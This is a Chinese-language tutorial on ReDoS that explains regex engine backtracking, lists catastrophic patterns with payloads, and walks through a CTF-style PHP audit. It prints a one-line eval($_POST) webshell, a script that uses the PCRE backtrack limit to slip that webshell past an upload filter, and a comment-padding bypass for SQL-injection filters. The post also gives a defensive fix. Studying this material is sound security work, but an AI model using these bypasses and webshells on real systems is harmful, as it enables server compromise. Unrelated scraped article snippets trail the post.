ReDos攻击浅析

news/2024/10/18 18:17:59/

DOS为拒绝服务攻击,re则是由于正则表达式使用不当,陷入正则引擎的回溯陷阱导致服务崩溃,大量消耗后台性能

正则

​ 探讨redos攻击之前,首先了解下正则的一些知识

执行过程

  • 大体的执行过程分为: 编译 -> 执行
  • 编译过程中,首先进行预编译,然后进入编译阶段
  • 执行的时候利用正则引擎进行匹配,最终得出匹配成功or失败
  • 编码过程中尽量使用预编译,并将预编译结果临时保存到全局变量,预编译的速度要比即用编辑快!
# -*- coding:utf-8 -*-
import re
import timepattern = r"http:\/\/(?:.?\w+)+"text = r'<a href="http://www.xxx.com">xxx.com</a>'# 预编译
pattern_compile = re.compile(pattern)time_begin = time.time()
for i in range(5000000):pattern_compile.match(text)
print("compile total time = {0}".format(time.time() - time_begin))time_begin = time.time()
# 未使用预编译
for i in range(5000000):re.match(pattern, text)
print("not compile total time = {0}".format(time.time() - time_begin))>>>
compile total time = 3.97600007057
not compile total time = 11.0629999638

正则引擎

  • DFA-确定型有穷自动机
    • 捏着文本串去比较正则式,看到一个子正则式,就把可能的匹配串全标注出来,然后再看正则式的下一个部分,根据新的匹配结果更新标注
    • 文本串中每一个字符串只扫描一次,速度快,特征少
    • 文本主导,按照文本的顺序执行(确定型)
    • 没有回溯的过程,不能使用断言等正则高级语法

  • NFA-非确定性有穷自动机
    • 捏着正则式去比文本,吃掉一个字符,就把它跟正则式比较,匹配就记下来:“where when匹配上了!”,接着往下干。一旦不匹配,就把刚吃的这个字符吐出来,一个个的吐,直到回到上一次匹配的地方
    • 反复吞吐文本字符,速度慢,特征丰富
    • 表达式主导,按照表达式主导执行
    • 有回溯的过程,能使用断言等正则高级语法

正则引擎使用场景

引擎类型程序
DFAawk(大多数版本)、egrep(大多数版本)、flex、lex、MySQL、Procmail
传统型 NFAGNU Emacs、Java、grep(大多数版本)、less、more、.NET语言、PCRE library、Perl、PHP(所有三套正则库)、Python、Ruby、set(大多数版本)、vi
POSIX NFAmawk、Mortice Lern System's utilities、GUN Emacs(明确指定时使用)
DFA/NFA混合GNU awk、 GNU grep/egrep、 Tcl
  • 概括下,大多数高级语言都是使用NFA正则引擎,功能强大
  • 数据库则使用DFA正则引擎,如MongoDBMySQL

ReDos问题

​ 下面跳出正则部分,开始描述DOS部分

回溯陷阱

​ 前文我们已经提到NFA正则引擎的自身机制导致正则匹配有回溯的问题

eg: text = "aaaaaaaaaaaaaa", pattern=/^(a*)b$/

  • (a*),匹配到了文本中的aaaaaaaaaaaaaa
  • 匹配正则中b无法匹配,text中的所有的a都被(a*)吃了
  • 开始吐,吐一个a不行
  • 继续吐......
  • 到最后都不能匹配,如果文本a过多,回溯次数过多,Dos拒绝服务
  • 如果一个正则表达式有多个部分需要回溯,那么次数就是指数型。文本长度为100,两个部分需要回溯,则100^2 = 10000次,恐怖

eg:

import re
import timebegin_time = time.time()
re.match("^(a+)+$", r"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!")print("total time = {0}".format(time.time() - begin_time))>>>
total time = 31.8870000839

一些ReDos样例

  • (a+)+
  • ([a-zA-Z]+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x} | for x > 10

Payload: "aaaaaaaaaaaaaaaaaa!"

一些业务场景

  • Person Name:
    • Regex: ^[a-zA-Z]+(([\'\,\.\-][a-zA-Z ])?[a-zA-Z]*)*$
    • Payload: aaaaaaaaaaaaaaaaaaaaaaaaaaaa!

  • Java Classname
    • Regex: ^(([a-z])+.)+[A-Z]([a-z])+$
    • Payload: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

  • Email Validation
    • Regex: ^([0-9a-zA-Z]([-.\w]*[0-9a-zA-Z])*@(([0-9a-zA-Z])+([-\w]*[0-9a-zA-Z])*\.)+[a-zA-Z]{2,9})$
    • Payload: a@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

  • Multiple Email address validation
    • Regex: ^[a-zA-Z]+(([\'\,\.\-][a-zA-Z ])?[a-zA-Z]*)*\s+<(\w[-._\w]*\w@\w[-._\w]*\w\.\w{2,3})>$|^(\w[-._\w]*\w@\w[-._\w]*\w\.\w{2,3})$
    • Payload: aaaaaaaaaaaaaaaaaaaaaaaa!

  • Decimal validator
    • Regex: ^\d*[0-9](|.\d*[0-9]|)*$
    • Payload: 1111111111111111111111111!

  • Pattern Matcher
    • Regex: ^([a-z0-9]+([\-a-z0-9]*[a-z0-9]+)?\.){0,}([a-z0-9]+([\-a-z0-9]*[a-z0-9]+)?){1,63}(\.[a-z0-9]{2,7})+$
    • Payload: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

小结下

  • 重复分组构造
  • 交替重叠

防御&&优化

​ 从开发or安全角度

  • 正则表达式书写注意,防止多处回溯(需要开发有一定的正则功底)
  • 文本串长度限制

最后的一个例子

一道php代码审计

<?php
function is_php($data){return preg_match('/<\?.*[(`;?>].*/is', $data);
}$file_name = 'C:\phpStudy\WWW\xxx\webshell.php';
$user_dir = 'C:\phpStudy\WWW\xxx' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($file_name);
//$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {echo "bad request";
} else {echo "successful";@mkdir($user_dir, 0755);$path = $user_dir . '/' . random_int(0, 10) . '.php';move_uploaded_file($_FILES['file']['tmp_name'], $path);header("Location: $path", true, 303);
}
?>

代码最后的目的是绕过is_php函数的限制,写入php木马

如下,这个是绕不过正则的

<?php@eval ($_REQUEST["xxx"]);
?>
  • 但是这个正则存在回溯陷阱问题
  • php中有最大回溯次数的限制。默认为1000000

payload

'aaa<?php eval($_POST[txt]);//' + 'a' * 1000000
  • aaaaaaaa...aaaaaaaa会吃完正则中第一个.*,但是该payload不会匹配[(;?>]`,所以只能吐,进入回溯陷阱

生成POC文件

# -*- coding:utf-8 -*-
# print('aaa<?php eval($_POST[txt]);//' + 'a' * 1000000)filename = 'webshell_flag.php'
with open(filename, 'w') as file_object:file_object.write('aaa<?php eval($_POST[txt]);//' + 'a' * 1000000)

成功绕过

其它:

  • waf - 1
<?php
if(preg_match('/SELECT.+FROM.+/is', $input)) {die('SQL Injection');
}
  • waf - 2
<?php
if(preg_match('/UNION.+?SELECT/is', $input)) {die('SQL Injection');
}

payload: UNION/*aaaaa*/SELECT (aaaaa吃掉第一个.+?,后续发现 S 和 * 不匹配,导致开始吐,进入陷阱)

上述的防御

  • preg_match对字符串进行匹配,一定要使用===全等号来判断返回值
<?php
function is_php($data){  return preg_match('/<\?.*[(`;?>].*/is', $data);  
}if(is_php($input) === 0) {// fwrite($f, $input); ...
}
  • 因为正常情况返回 0, 1 ,超过回溯次数返回False


http://www.ppmy.cn/news/1466198.html

相关文章

100个 Unity小游戏系列七 -Unity 抽奖游戏专题五 刮刮乐游戏

一、演示效果 二、知识点讲解 2.1 布局 void CreateItems(){var rewardLists LuckyManager.Instance.CalculateRewardId(rewardDatas, Random.Range(4, 5));reward_data_list reward_data_list ?? new List<RewardData>();reward_data_list.Clear();for (int i 0; …

上位机图像处理和嵌入式模块部署(f407 mcu中的spi总线操作)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 前面我们学习mcu&#xff0c;一般都是模板和模块之间的接口&#xff0c;比如说串口、usb、eth这种。还有一种接口&#xff0c;更多的是芯片和芯片之…

HTML 总结

HTML 简介 HTML(HyperText MarkupLanguage): 超文本标记语言 超文本 : 普通文本指的是只有文字没有图片 ,视频, 音乐,而超文本就有 标记语言 : 由标签构成的语言 HTML的标签都是预定好的, 如<a> </a> 为超链接 HTML代码直接在浏览器中运行,由浏览器内核进行解…

【算法设计与分析】基于Go语言实现贪心法解决TSP问题

一、前言 本文以上文动态规划法为基础按照相似的输入来完成编程。 二、代码思路 因为是贪心法&#xff0c;直接去找离目前正在遍历的点最近的点&#xff0c;因此输入了一个二维矩阵&#xff0c;咱们还需要设置一个一维数组来存/检验是否遍历过点&#xff0c;遍历过就不要再算了…

【明道云】如何在发送邮件模块给出多条记录形成的列表

【背景】 在完成批量分别发送邮件给不同部门担当的任务后,作为主管部门的用户希望能够获得成功得到处理的所有记录信息。这些信息需要在提醒邮件中以表格形式呈现。 【分析】 获得多条记录的方法能够拿到数据,问题在于如何合适地以表格形式呈现在邮件中。 只有富文本支持表…

开发Windows应用程序的多种工具和语言

在软件开发领域&#xff0c;Windows应用程序的开发是一个广泛而多样化的领域。开发者可以利用各种工具和编程语言来创建功能丰富、用户友好的应用程序。以下是一些常见的开发环境和编程语言&#xff0c;它们被广泛用于开发Windows应用程序。 Visual Studio&#xff1a;微软的集…

【考研数据结构知识点详解及整理——C语言描述】第二章 线性表链式存储结构上的基本操作——单链表的初始化

25计算机考研&#xff0c;数据结构知识点整理&#xff08;内容借鉴了王道408&#xff0b;数据结构教材&#xff09;&#xff0c;还会不断完善所整理的内容&#xff0c;后续的内容也会不断更新&#xff08;可以关注&#xff09;&#xff0c;若有错误和不足欢迎各位朋友指出! 一.…

mysql中的模糊匹配

在MySQL中,模糊查询通常使用 LIKE 运算符和通配符来实现。模糊查询用于匹配满足特定模式的字符串,可以在字符串中使用通配符进行搜索。以下是关于MySQL模糊查询的详细介绍: LIKE 运算符 LIKE 运算符用于在WHERE子句中搜索列中的指定模式。可以使用两种通配符: %:表示零个…